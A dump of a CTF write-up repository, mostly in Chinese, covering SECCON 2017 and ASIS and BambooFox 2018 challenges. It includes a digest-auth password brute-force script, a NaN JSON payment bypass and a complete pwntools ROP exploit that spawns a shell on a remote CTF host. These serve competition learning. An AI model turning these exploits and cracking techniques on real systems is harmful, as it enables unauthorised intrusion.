zbarlight.scan_codes('qrcode', photo) 152 | if code is not None: 153 | print code[0] 154 | if 'http' in code[0]: 155 | return code[0].split('/')[-1] 156 | else: 157 | return '' 158 | return '' 159 | 160 | def getPhoto(link): 161 | testfile = urllib.URLopener() 162 | testfile.retrieve(link, "tmp.png") 163 | 164 | link = 'http://qubicrube.pwn.seccon.jp:33654/images/' 165 | token = ['11ed5b705e72e9fa2e57'] 166 | note = 11 167 | index = ['_R.png', '_L.png', '_U.png', '_D.png', '_F.png', '_B.png',] 168 | 169 | j = 0 170 | while j < len(token): 171 | print '******************' + token[j] + '******************' 172 | for k in color: 173 | print note, ':', k 174 | colorNow = k 175 | init() 176 | for i in index: 177 | getPhoto(link + token[j] + i) 178 | getPiece('tmp.png') 179 | m = {} 180 | 181 | tmp = buildPhoto() 182 | if tmp != '': 183 | token.append(tmp) 184 | print 'find at color', k 185 | break 186 | j += 1 187 | note += 1 188 | 189 | -------------------------------------------------------------------------------- /2017/seccon_CTF/programming/putchar_music/README.md: -------------------------------------------------------------------------------- 1 | # putchar music 2 | 3 | > Challenge Link: [putchar_music](https://score-quals.seccon.jp/question/f6b2af4e26720b6a27b3efbca313097b977b2a8b) 4 | > 5 | > Category: programming 6 | 7 | This one line of C program works on Linux Desktop. What is this movie's title? 8 | Please answer the flag as SECCON{MOVIES_TITLE}, replace all alphabets with capital letters, and spaces with underscores. 9 | 10 | ```c 11 | main(t,i,j){unsigned char p[]="###>5|(int)(t*x));}} 12 | ``` 13 | 14 | ## Solution 15 | 16 | I found a cool video "[Creating music in one line of C code](https://www.youtube.com/watch?v=L9KLnN0GczI)"on Youtube, and it looked similar to this challenge. 17 | 18 | [![](https://i.imgur.com/5x3jXmM.png)](https://www.youtube.com/watch?v=L9KLnN0GczI) 19 | 20 | Here is the instructions mentioned below the video: 21 | 22 | 1. Compile source code (main.c) 23 | 24 | ```sh 25 | gcc main.c -lm 26 | ``` 27 | 28 | 2. Play with mplayer 29 | 30 | ```sh 31 | ./a.out | mplayer -demuxer rawaudio -rawaudio rate=8000:channels=1:samplesize=1 - 32 | ``` 33 | 34 | Then you will get a cool music like [this](https://youtu.be/NJn6ZZ_Mnvg) !! 35 | 36 | -------------------------------------------------------------------------------- /2017/seccon_CTF/programming/putchar_music/a.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/frozenkp/CTF/f335faccc4abb90ad6680785c19b5337510f954a/2017/seccon_CTF/programming/putchar_music/a.out -------------------------------------------------------------------------------- /2017/seccon_CTF/programming/putchar_music/main.c: -------------------------------------------------------------------------------- 1 | main(t,i,j){unsigned char p[]="###>5|(int)(t*x));}} -------------------------------------------------------------------------------- /2018/ASIS_CTF_qual/forensic/Trashy_Or_Classy/README.md: -------------------------------------------------------------------------------- 1 | ## Trashy Or Classy 2 | 3 | > Challenge Link: [Trashy Or Classy](https://asisctf.com/challenges/) 4 | > 5 | > Category: forensic 6 | > 7 | > Writeup: [Trashy Or Classy](https://github.com/frozenkp/CTF/tree/master/2018/ASIS_CTF_qual/forensic/Trashy_Or_Classy) 8 | 9 | Don't be [Trashy](https://asisctf.com/tasks/Trashy_Or_Classy_1afb5f5911a97860e181722b55dae50bb765285cd8dcbb38837d1a1094e53444). Try being Classy!! 10 | 11 | ## Solution 12 | 13 | 檔案載下來以後是一個 pcap 14 | 15 | ### pcap 16 | 17 | 用 wireshark 大概看一下,好像是在暴力搜 http://167.99.233.88 的子目錄 18 | 19 | > Filter: http 20 | 21 | ![](https://i.imgur.com/iJHHeVn.png) 22 | 23 | 看看有成功找到的目錄,有一個回覆是有 Index 的 24 | 25 | > Filter: http.response.code == 200 26 | 27 | ![](https://i.imgur.com/zCbt4kn.png) 28 | 29 | ![](https://i.imgur.com/4Mcvqzz.png) 30 | 31 | 實際到這個[網址](http://167.99.233.88/private/)去看,發現是要輸入帳密的,仔細研究一下這個封包,發現是 Digest Auth,且有一些資訊 32 | 33 | 利用這些資訊搭配 rockyou.txt ,暴力算出密碼是 `rainbow` 34 | 35 | ![](https://i.imgur.com/B8Sj616.png) 36 | 37 | ### Casync 38 | 39 | 連上去後,可以載到 `flag.caidx` ,不過還有一個資料夾 `flag.castr` 進不去,猜測可能是不能進去但知道檔名的情況下可以下載 40 | 41 | 根據檔名,找到了 [casync](https://github.com/systemd/casync) 和 [desync](https://github.com/folbricht/desync) 42 | 43 | > casync 在 ubuntu 17.10 上的版本會出現 Operaion not supported 的錯誤,需要自己編 44 | 45 | 我們使用 desync 加上自己接的 proxy (通過 Digest Auth) 從遠端 server 上把整份資料夾抓下來 46 | 47 | ``` 48 | % desync extract -s http://167.99.233.88/private/flag.castr/ flag.caidx flagdesync.tar 49 | ``` 50 | 51 | 抓下來後看到一大堆的 chunk,大概翻了一遍還是不知道是幹嘛用的,結束後看 writeup 才知道要用 casync 把檔案還原 Orz 52 | 53 | ``` 54 | % casync extract --store=./flag.castr ./flag.caidx ./flag 55 | ``` 56 | 57 | 還原後就拿到了一個 flag.png 58 | 59 | ![](https://i.imgur.com/SdPfcyH.png) -------------------------------------------------------------------------------- /2018/ASIS_CTF_qual/forensic/Trashy_Or_Classy/bruteforce.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | 3 | password = open('rockyou.txt').read().splitlines() 4 | h2 = hashlib.md5("GET:/private/").hexdigest() 5 | for i in range(len(password)): 6 | h1 = hashlib.md5("admin:Private Area:" + password[i]).hexdigest() 7 | result = hashlib.md5(h1 + ":dUASPttqBQA=7f98746b6b66730448ee30eb2cd54d36d5b9ec0c:00000001:edba216c81ec879e:auth:" + h2).hexdigest() 8 | if result == "3823c96259b479bfa6737761e0f5f1ee": 9 | print "[*] Password found: " + password[i] 10 | exit() 11 | -------------------------------------------------------------------------------- /2018/ASIS_CTF_qual/misc/Plastic/README.md: -------------------------------------------------------------------------------- 1 | # Plastic 2 | 3 | > Challenge Link: [Plastic](https://asisctf.com/challenges/) 4 | > 5 | > Category: misc 6 | > 7 | > Writeup: [Plastic](https://github.com/frozenkp/CTF/tree/master/2018/ASIS_CTF_qual/misc/Plastic) 8 | 9 | Are LaTeX and [PlAsTiC](https://asisctf.com/tasks/plastic_b3a67f6e7ad52d6ca559d1aafa79c6fd6a80c73360664e7330dd6303d60b789b) the Same? It seems that they have very different compounds. 10 | 11 | ## Solution 12 | 13 | 檔案載下來是一個 PNG 檔 14 | 15 | ``` 16 | % file plastic 17 | plastic: PNG image data, 1612 x 74, 8-bit/color RGBA, non-interlaced 18 | ``` 19 | 20 | ![](https://i.imgur.com/lSItWe9.png) 21 | 22 | 用 strings 看一下,可以發現奇怪的資料 23 | 24 | ```Xml 25 | 26 | 27 | 30 | 31 | 32 | AAAFWHjabVRfbBRFGJ/ZOeifa+m2hVJaoNf2iohQtndX9ipS29IeVuwVe/1zbfc4 5/bm7pbu7V5255DjaDISozExaggxSIxC+2KRqBhjCPFBQwgmPggtSnySFx98IP57 ML4590dEw2w2+33fzHzz+37fbyeW0TWbStIdKCDHuvUvngi7jxPL1kwj7DZjx4hK 7Vk3ttSUxsOTbmpmGgB85cLHYntFZXtHp7trx2M7H9/1RI+/78DgoWeC4zNhJarG U7pp0ym3kdX1tapqZ02TayYY6l4gOXuOf8t5p92qjm17pXZDnVjf0LhxExMYYg62 jq1nFaySVbHqlc3NW1pat27b3sacrIZtYHWsnrWwVraNbWeucAzbRNcMMqWaumlN ps04maIa1Uk4YxGcjukkksZJQ0toKqa8pMk4piQq1sWwupC0zKwRP1jYOGebWUsl k+QE7QTlsbZ7j7N7rzQVDE0cGlKCoeLCUAarZFzcJXX3+fd5fL19/j6/S+qWJLnH I/XxIXsLrkf2eX0Sj/YCEbLaVY/X1ztXKtbAaRIumcSeKadd2if/Y4aDofEiO6Jj 1fnk/qdmOV02tTQjycQjPFH/0xx+MDSWpZhXFyrOLPcPyHxfyVkbch4cHgk88Dn0 QcqtWJYSmzWwLawxKq4qcVPNpolBi0jme6QMjeSxRTVVJ4vVStYmvNIFnCTz3Cxg tiP5IseLri4eibsSpsVfg7qK0Yd35HHatnPpGF+ZxjRl/3+uEHzU3HyWJvyRvGZk OFJDLR2UyOouarpoLkNccc3ivOg5bmDV0jhWl5rCFlYp12t1QWajh8cuPss2XnyO bWLN08FQgAO8c+T5CWdocmqa+yHtJOHEJAI6TtrcD/LCOgd2lhouiqyJbZ4eMw2s mpzp2blyhqV5uWzxaOQoJ3RYUwtqwlZuKSLz4As4KjY8xHO8RP1STH5kvHNgqHTk KnEmkoUfg2ocyOCXfrLwp/oT28pTasf4mcNcrUsLctkqKDK9Vwr0uPgDWG2h05mR AGsr9fRAXoklXIOh0dCiku+V0l4l6stkbCWa7R1RomNeGXPx+5RofNyQlehonyFN ECVKU96x9nZlkR+ZPR4VGx9I698al7MRuSi6wyRH4oPlq+B27uSkZZqUQVAJ6kEL 6AR7gAfIYB5gkAIZkAenwevgDfAWOAPOgrfBOXAevAveAx+AS+Ay+Ah8Aj4Fn4HP wVVwDXwBboBvwC3wPfgR3Ae/Qwesg82wDXZBD4xCDFWYgjY8BV+Gr8I34Tl4Hr4P V+CH8DK8Aq/Dm/AWvAvvwfvwF/gb/EP4WvhWuC2sCd8Jd4UfhHvCz8Kvwl8IoCrk RLWoDjWhVtSButBu1IP60SAKoHl0FNnoFHoJvYbOoLPoHXQBLaNL6Aq6iq6hr9B1 dAPddFQ4ahwdjh0Ov2O/Y6DUQQGWr4s8+M9wDP0NfUGwlA== 33 | 34 | 35 | 1 36 | 37 | 38 | 39 | ``` 40 | 41 | 把中間那段整理一下,看起來是 23 段經過 base64 的字串,不過解開看不出來是啥 42 | 43 | ``` 44 | AAAFWHjabVRfbBRFGJ/ZOeifa+m2hVJaoNf2iohQtndX9ipS29IeVuwVe/1zbfc4 45 | 5/bm7pbu7V5255DjaDISozExaggxSIxC+2KRqBhjCPFBQwgmPggtSnySFx98IP57 46 | ML4590dEw2w2+33fzHzz+37fbyeW0TWbStIdKCDHuvUvngi7jxPL1kwj7DZjx4hK 47 | 7Vk3ttSUxsOTbmpmGgB85cLHYntFZXtHp7trx2M7H9/1RI+/78DgoWeC4zNhJarG 48 | U7pp0ym3kdX1tapqZ02TayYY6l4gOXuOf8t5p92qjm17pXZDnVjf0LhxExMYYg62 49 | jq1nFaySVbHqlc3NW1pat27b3sacrIZtYHWsnrWwVraNbWeucAzbRNcMMqWaumlN 50 | ps04maIa1Uk4YxGcjukkksZJQ0toKqa8pMk4piQq1sWwupC0zKwRP1jYOGebWUsl 51 | k+QE7QTlsbZ7j7N7rzQVDE0cGlKCoeLCUAarZFzcJXX3+fd5fL19/j6/S+qWJLnH 52 | I/XxIXsLrkf2eX0Sj/YCEbLaVY/X1ztXKtbAaRIumcSeKadd2if/Y4aDofEiO6Jj 53 | 1fnk/qdmOV02tTQjycQjPFH/0xx+MDSWpZhXFyrOLPcPyHxfyVkbch4cHgk88Dn0 54 | QcqtWJYSmzWwLawxKq4qcVPNpolBi0jme6QMjeSxRTVVJ4vVStYmvNIFnCTz3Cxg 55 | tiP5IseLri4eibsSpsVfg7qK0Yd35HHatnPpGF+ZxjRl/3+uEHzU3HyWJvyRvGZk 56 | OFJDLR2UyOouarpoLkNccc3ivOg5bmDV0jhWl5rCFlYp12t1QWajh8cuPss2XnyO 57 | bWLN08FQgAO8c+T5CWdocmqa+yHtJOHEJAI6TtrcD/LCOgd2lhouiqyJbZ4eMw2s 58 | mpzp2blyhqV5uWzxaOQoJ3RYUwtqwlZuKSLz4As4KjY8xHO8RP1STH5kvHNgqHTk 59 | KnEmkoUfg2ocyOCXfrLwp/oT28pTasf4mcNcrUsLctkqKDK9Vwr0uPgDWG2h05mR 60 | AGsr9fRAXoklXIOh0dCiku+V0l4l6stkbCWa7R1RomNeGXPx+5RofNyQlehonyFN 61 | ECVKU96x9nZlkR+ZPR4VGx9I698al7MRuSi6wyRH4oPlq+B27uSkZZqUQVAJ6kEL 62 | 6AR7gAfIYB5gkAIZkAenwevgDfAWOAPOgrfBOXAevAveAx+AS+Ay+Ah8Aj4Fn4HP 63 | wVVwDXwBboBvwC3wPfgR3Ae/Qwesg82wDXZBD4xCDFWYgjY8BV+Gr8I34Tl4Hr4P 64 | V+CH8DK8Aq/Dm/AWvAvvwfvwF/gb/EP4WvhWuC2sCd8Jd4UfhHvCz8Kvwl8IoCrk 65 | RLWoDjWhVtSButBu1IP60SAKoHl0FNnoFHoJvYbOoLPoHXQBLaNL6Aq6iq6hr9B1 66 | dAPddFQ4ahwdjh0Ov2O/Y6DUQQGWr4s8+M9wDP0NfUGwlA== 67 | ``` 68 | 69 | 後來將所有的字串合起來解開後,出現的是一個 data Orz 70 | 71 | 接著用 binwalk 跑一下,發現裡面還有裝其他東西 72 | 73 | ``` 74 | % file tmp 75 | tmp: data 76 | 77 | % binwalk tmp 78 | 79 | DECIMAL HEXADECIMAL DESCRIPTION 80 | -------------------------------------------------------------------------------- 81 | 4 0x4 Zlib compressed data, best compression 82 | ``` 83 | 84 | 解開後出現的是 Apple binary property list ,不過不重要,直接 strings 就可以在裡面找到 flag 了 85 | 86 | ``` 87 | % file 4 88 | 4: Apple binary property list 89 | 90 | % strings 4 | grep ASIS 91 | ={\bf ASIS}\{50m3\_4pps\_u5E\_M37adat4\_dOn7\_I9n0Re\_th3M!!\} 92 | ``` 93 | 94 | -------------------------------------------------------------------------------- /2018/ASIS_CTF_qual/web/Buy_flags/README.md: -------------------------------------------------------------------------------- 1 | # Buy flags 2 | 3 | > Challenge Link: [Buy flags](https://asisctf.com/challenges/) 4 | > 5 | > Category: misc 6 | > 7 | > Writeup: [Buy flags](https://github.com/frozenkp/CTF/tree/master/2018/ASIS_CTF_qual/web/Buy_flags) 8 | 9 | [Here](http://46.101.173.61/) is an online shop that sells flags :) but we don’t have enough money! Can you buy the flag? 10 | 11 | ## Observation 12 | 13 | 這是一個可以購買 flag 的網站,可以勾選想要的 flag,然後輸入 coupon,不過 credit 是 0,也不知道 coupon 是啥,所以都只會回傳 "your credit not enough" 14 | 15 | ![](https://i.imgur.com/a349JzK.png) 16 | 17 | ### pay API 18 | 19 | 按下 pay 以後會 POST 到 http://46.101.173.61/pay 20 | 21 | 傳的內容有 coupon 以及點選的 flag 項目及數量 22 | 23 | ```json 24 | {"card": [{"name": "asis", "count": 1}], "coupon": "YWJj"} 25 | ``` 26 | 27 | 結果也是用 json 回傳 28 | 29 | ```json 30 | {"result": "your credit not enough"} 31 | ``` 32 | 33 | 這邊有嘗試把 count 改成 0 或是 -1,不過 server 都有處理掉 34 | 35 | ```json 36 | {"card":[{"name":"asis","count":-1}],"coupon":"aA=="} 37 | ``` 38 | 39 | ```json 40 | {"result": "item count must be greater than zero"} 41 | ``` 42 | 43 | ### image API 44 | 45 | 檢查原始碼以後發現圖片是由 http://46.101.173.61/image?name=asis.png 傳過來的,看起來應該是可以做 LFI,不過經過測試後發現只要輸入 `/` 或 `..` 就會回傳 `Access Denied`,猜測可能 server 的檔案也放在當前目錄,所以試了 `server.py` ,但也沒拿到 46 | 47 | ### flask session 48 | 49 | Cookie 的部分有一個 session,乍看之下以為是 jwt,第一段可以解出 data,但其他兩段就完全不能解了 50 | 51 | 後來查了一下才知道是 flask session,後面兩段是用來驗證第一段的 data 的,需要有 secret key 才能偽造 52 | 53 | ``` 54 | eyJjb3Vwb25zIjpbXSwiY3JlZGl0IjowfQ.Dctipw.Q8aC2jTPn9lLxZQU-0Fc3oBx3Ig 55 | ``` 56 | 57 | ```json 58 | {"coupons":[],"credit":0} 59 | ``` 60 | 61 | 62 | 63 | ## Solution 64 | 65 | 解法的部分是在賽後參照 Writeup 的 66 | 67 | ### Source code 68 | 69 | 首先是可以利用 image API 拿到 `app.py` (flask 的預設 server file) 70 | 71 | ``` 72 | http://46.101.173.61/image?name=app.py 73 | ``` 74 | 75 | 其中,flag 是放在 private/flag.txt,secret key 則是放在 private/secret.txt 76 | 77 | ```python 78 | 4 app.secret_key = open('private/secret.txt').read() 79 | 20 'data': open('private/flag.txt').read() 80 | ``` 81 | 82 | 看一下 image API 的寫法,已經把 private 底下的檔案濾掉了 83 | 84 | ```python 85 | if '/' in image_name or '..' in image_name or 'private' in image_name: 86 | return 'Access Denied' 87 | ``` 88 | 89 | ### json NaN 90 | 91 | 最後的解法是在 pay API 把數量改成 NaN 就可以拿到 flag 了 92 | 93 | 原始碼中,count 的驗證如下 94 | 95 | ```python 96 | data = request.get_json() 97 | card = data['card'] 98 | for flag in card: 99 | if flag['count'] <= 0: 100 | return jsonify({'result':'item count must be greater than zero'}) 101 | ``` 102 | 103 | 實際測試一下,NaN 在 parse 後是 float,且可以通過 `<= 0` 的驗證 104 | 105 | ```python 106 | >>> text = '{"var":NaN}' 107 | >>> data = json.loads(text) 108 | >>> print data 109 | {u'var': nan} 110 | >>> data['var'] 111 | nan 112 | >>> type(data['var']) 113 | 114 | >>> data['var'] <= 0 115 | False 116 | ``` 117 | 118 | 接下來在計算 credit 時的驗證方法如下 119 | 120 | ```python 121 | for flag in card: 122 | credit -= flag['count'] * flags[flag['name']]['price'] 123 | if credit < 0: 124 | result = {'result': 'your credit not enough'} 125 | ``` 126 | 127 | 實際測試後發現,只要操作流程中有用到 nan,該變數就會被設成 nan,也就可以順利通過驗證了 128 | 129 | ```python 130 | >>> credit = 0 131 | >>> credit -= data['var'] * 110 132 | >>> credit 133 | nan 134 | >>> credit < 0 135 | False 136 | ``` 137 | 138 | -------------------------------------------------------------------------------- /2018/BambooFox_CTF_2018/infant-gogogo/README.md: -------------------------------------------------------------------------------- 1 | # infant-gogogo 2 | 3 | > Challenge Link: [infant-gogogo](http://ctf.bamboofox.cs.nctu.edu.tw/challenges#infant-gogogo) 4 | > 5 | > Category: pwn 6 | 7 | Give me your magic text ~~~ 8 | 9 | `nc bamboofox.cs.nctu.edu.tw 58795` 10 | 11 | [infant-gogogo.zip](http://ctf.bamboofox.cs.nctu.edu.tw/files/1f36921a750a6904cf3b6133cecf1554/infant-gogogo.zip) 12 | 13 | ## 觀察 14 | 15 | 這支程式可以讓使用者輸入一串字串,看起來跟前一題的 [infant-gotoheaven](https://github.com/frozenkp/CTF/tree/master/BambooFox_CTF_2018/infant-gotoheaven) 很像 16 | 17 | ``` 18 | % ./infant-gotoheaven 19 | Give me your text : 20 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaa 21 | ``` 22 | 23 | ### Buffer overflow 24 | 25 | 先試一下是否也有 Buffer overflow 26 | 27 | ``` 28 | % ./infant-gogogo 29 | Give me your text : 30 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 31 | unexpected fault address 0x0 32 | fatal error: fault 33 | [signal SIGSEGV: segmentation violation code=0x80 addr=0x0 pc=0x489834] 34 | 35 | goroutine 1 [running]: 36 | runtime.throw(0x4b9168, 0x5) 37 | /usr/local/go/src/runtime/panic.go:605 +0x95 fp=0xc420043f28 sp=0xc420043f08 pc=0x427345 38 | runtime.sigpanic() 39 | /usr/local/go/src/runtime/signal_unix.go:374 +0x227 fp=0xc420043f78 sp=0xc420043f28 pc=0x43a307 40 | main.main() 41 | /home/frozenkp/Downloads/gobin/infant-gogogo.go:20 +0x1b4 fp=0xc420043f80 sp=0xc420043f78 pc=0x489834 42 | ``` 43 | 44 | 最後一行有寫到死在`infant-gogogo.go:20` 45 | 46 | 用`objdump`看一下發現是死在`ret`,所以應該跟上題一樣,也是可以**蓋到 return address** 47 | 48 | ![](https://i.imgur.com/J0SdY2P.png) 49 | 50 | ## 解法 51 | 52 | 這題跟 [infant-gotoheaven](https://github.com/frozenkp/CTF/tree/master/BambooFox_CTF_2018/infant-gotoheaven) 的主要差別在於 [infant-gotoheaven](https://github.com/frozenkp/CTF/tree/master/BambooFox_CTF_2018/infant-gotoheaven) 有提供可以直接拿到 shell 的 `system call` ,這題則要自己建 ROP chain 53 | 54 | ### payload 55 | 56 | 先隨便輸入來造成 segmenataion fault,確定程式會產生 buffer overflow,且是死在 return addresss 錯誤 57 | 58 | ![img](https://i.imgur.com/3w10UGw.png) 59 | 60 | 計算一下 payload 是 **256** 61 | 62 | ### ROP chain 63 | 64 | 因為 Go 的 binanry 檔是 static link 的,基本上可以從裡面拿到各式各樣的 gadget 65 | 66 | ``` 67 | % file infant-gogogo 68 | infant-gogogo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped 69 | ``` 70 | 71 | #### execve 72 | 73 | 根據 [這篇](http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/) 整理的表格,要執行 `execve("/bin/sh")` 的條件是 74 | 75 | | rax | System call | rdi | rsi | rdx | 76 | | ---- | ----------- | -------------------- | ------------------------ | ------------------------ | 77 | | 59 | sys_execve | const char *filename | const char *const argv[] | const char *const envp[] | 78 | 79 | 執行 `/bin/sh` 的話,只需要把 `rdi` 指向寫有 `/bin/sh` 的**位址**,`rsi` 及 `rdx` 則設成 0 (NULL) 即可 80 | 81 | #### ROP gadget 82 | 83 | 基本上在設值的時候,如果可以拿到 `pop {resister}; ret` 形式的 gadget 最好,因為可以直接把要丟入的值寫在 gadget 的下一位,例如: 84 | 85 | ``` 86 | ropchain = pop_rax, p64(59) 87 | ``` 88 | 89 | 這樣在執行 `pop rax` 時,會將 stack 上的第一位 pop 到 rax 上,而此時的第一位就會是 `p64(59)` 90 | 91 | 除此之外,也要注意**最後面必須是 ret** ,否則沒辦法繼續執行後段的 ROP chain 92 | 93 | 尋找 ROP gadget 可以使用指令 `ROPgadget` 搭配 `grep`,例如說要找 `pop rax` 時: 94 | 95 | ``` 96 | % ROPgadget --binary infant-gogogo | grep 'pop rax.*ret' 97 | 0x000000000044dd12 : add eax, ebp ; pop rax ; ret 98 | 0x000000000044dd10 : and al, 0x10 ; add eax, ebp ; pop rax ; ret 99 | 0x0000000000466d3e : je 0x466d67 ; pop rax ; ret 100 | 0x000000000044dd0d : or dh, al ; and al, 0x10 ; add eax, ebp ; pop rax ; ret 101 | 0x0000000000402563 : pop rax ; add rsp, 0x60 ; ret 102 | 0x000000000040e31b : pop rax ; and byte ptr [rax - 1], cl ; ret 103 | 0x0000000000448b11 : pop rax ; mov qword ptr [rsp + 0x10], rax ; ret 104 | 0x000000000043cfb3 : pop rax ; or byte ptr [rax - 0x7d], cl ; ret 105 | 0x000000000040985c : pop rax ; or dh, dh ; ret 106 | 0x0000000000404656 : pop rax ; ret 107 | 0x0000000000414f4a : pop rax ; ret 0xff2 108 | 0x000000000040e318 : sbb byte ptr [rax - 0x75], cl ; pop rax ; and byte ptr [rax - 1], cl ; ret 109 | ``` 110 | 111 | 其中可以看到 `0x0000000000404656 : pop rax ; ret` 是最符合的 gadget 112 | 113 | #### /bin/sh 114 | 115 | 前面有說到,`rdi`是寫有 `/bin/sh` 的**位址**,所以需要找一塊空間來寫 `/bin/sh` 116 | 117 | 在 gdb 中使用 `vmmap` 來尋找可用空間 118 | 119 | ``` 120 | gdb-peda$ vmmap 121 | Start End Perm Name 122 | 0x00400000 0x0048a000 r-xp /home/frozenkp/Documents/CTF/BambooFox_CTF_2018/infant-gogogo/infant-gogogo 123 | 0x0048a000 0x0051c000 r--p /home/frozenkp/Documents/CTF/BambooFox_CTF_2018/infant-gogogo/infant-gogogo 124 | 0x0051c000 0x0052f000 rw-p /home/frozenkp/Documents/CTF/BambooFox_CTF_2018/infant-gogogo/infant-gogogo 125 | 0x0052f000 0x00550000 rw-p [heap] 126 | 0x000000c000000000 0x000000c000001000 rw-p mapped 127 | 0x000000c41fff8000 0x000000c420100000 rw-p mapped 128 | 0x00007ffff7f5b000 0x00007ffff7ffb000 rw-p mapped 129 | 0x00007ffff7ffb000 0x00007ffff7ffd000 r--p [vvar] 130 | 0x00007ffff7ffd000 0x00007ffff7fff000 r-xp [vdso] 131 | 0x00007ffffffde000 0x00007ffffffff000 rw-p [stack] 132 | 0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall] 133 | ``` 134 | 135 | 其中有段 `0x0051c000 0x0052f000 rw-p` 是可寫的,我選擇 `0x523000` 來寫,盡量不要選擇太前面或太後面的位置,怕跟其他東西衝到 136 | 137 | 可以寫入到 `rdi` 的有以下兩句 138 | 139 | ``` 140 | 0x0000000000485abd : pop rdi ; cmp dword ptr [rcx], eax ; add byte ptr [rax + 0x39], cl ; ret 141 | 0x00000000004518ff : mov qword ptr [rdi], rax ; ret 142 | ``` 143 | 144 | 其中,`pop rdi` 的 gadget 後面還有 `add byte ptr [rax + 0x39]`,所以必須確保 `rax+0x39 `是一段可以寫的位址,否則會死掉 145 | 146 | 因此我先將 `rax` 設成 data 的位址,設完 `rdi` 後,再將 `rax` 設成 `/bin/sh` ,最後填入 `ptr [rdi]` 中即可 147 | 148 | 149 | 150 | 所有得條件都設定完成後,執行即可拿到 shell 囉 OwO 151 | 152 | -------------------------------------------------------------------------------- /2018/BambooFox_CTF_2018/infant-gogogo/exploit_infant-gogogo.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | context.arch = 'amd64' 4 | 5 | r = remote('bamboofox.cs.nctu.edu.tw', 58795) 6 | #r = process('./infant-gogogo') 7 | 8 | payload = 'A'*256 9 | 10 | # ROP gadget 11 | syscall = 0x4520b9 12 | pop_rax = 0x404656 13 | mov_qword_ptr_rdi_rax = 0x4518ff 14 | movsxd_rsi_eax = 0x451e3e 15 | pop_rdx = 0x44ecf2 16 | pop_rdi_add_ptr_rax = 0x485abd 17 | 18 | data_section = 0x523000 19 | 20 | # set rsi to 0 21 | chain = payload 22 | chain += p64(pop_rax) + p64(0) + p64(movsxd_rsi_eax) 23 | 24 | # set rdx to 0 25 | chain += p64(pop_rdx) + p64(0) 26 | 27 | # set rdi to /bin/sh 28 | chain += p64(pop_rax) + p64(data_section) 29 | chain += p64(pop_rdi_add_ptr_rax) + p64(data_section) 30 | chain += p64(pop_rax) + '/bin/sh\x00' + p64(mov_qword_ptr_rdi_rax) 31 | 32 | # set rax to 59 33 | chain += p64(pop_rax) + p64(59) 34 | 35 | chain += p64(syscall) 36 | 37 | r.sendline(chain) 38 | 39 | r.interactive() 40 | -------------------------------------------------------------------------------- /2018/BambooFox_CTF_2018/infant-gotoheaven/README.md: -------------------------------------------------------------------------------- 1 | # infant-gotoheaven 2 | 3 | > Challenge Link: [infant-gotoheaven](http://ctf.bamboofox.cs.nctu.edu.tw/challenges#infant-gotoheaven) 4 | > 5 | > Category: pwn 6 | 7 | What's the token to heaven? 8 | 9 | `nc bamboofox.cs.nctu.edu.tw 58796` 10 | 11 | [infant-gotoheaven.zip](http://ctf.bamboofox.cs.nctu.edu.tw/files/974c6efa89c277c774f2dfd56500aaf0/infant-gotoheaven.zip) 12 | 13 | ## Go binanry 小訣竅 14 | 15 | 開始前先講一下分析 Go 的 binanry 時可以用到的一些工具以及訣竅 16 | 17 | ### go tool objdump 18 | 19 | `go tool`是 go 的編譯器內建的工具集,其中也有 `objdump`可以使用 20 | 21 | 使用這個工具的話可以看到 source code 中的**行數**對應到的 assembly 22 | 23 | ```bash 24 | go tool objdump infant-gotoheaven | less 25 | ``` 26 | 27 | ![](https://i.imgur.com/a7202rA.png) 28 | 29 | ### gdb 30 | 31 | 使用`gdb`追蹤時,在執行到`main`之前會經過一大堆的程序 32 | 33 | 在追蹤 C 的 binanry 時,通常會使用 `b main`來設斷點在`main` 的一開始 34 | 35 | 由上面 `go tool objdump`的圖可以看到,Go 的 `main` 叫做 `main.main` 所以要使用 36 | 37 | ``` 38 | b main.main 39 | ``` 40 | 41 | ## 觀察 42 | 43 | 這支程式可以讓使用者輸入一串字串 44 | 45 | ``` 46 | % ./infant-gotoheaven 47 | Give me your text : 48 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaa 49 | ``` 50 | 51 | ### Buffer overflow 52 | 53 | 通常看到這類題目大概都是 buffer overflow ,所以先試一下能不能觸發 segmentation fault 54 | 55 | ``` 56 | % ./infant-gotoheaven 57 | Give me your text : 58 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 59 | unexpected fault address 0x0 60 | fatal error: fault 61 | [signal SIGSEGV: segmentation violation code=0x80 addr=0x0 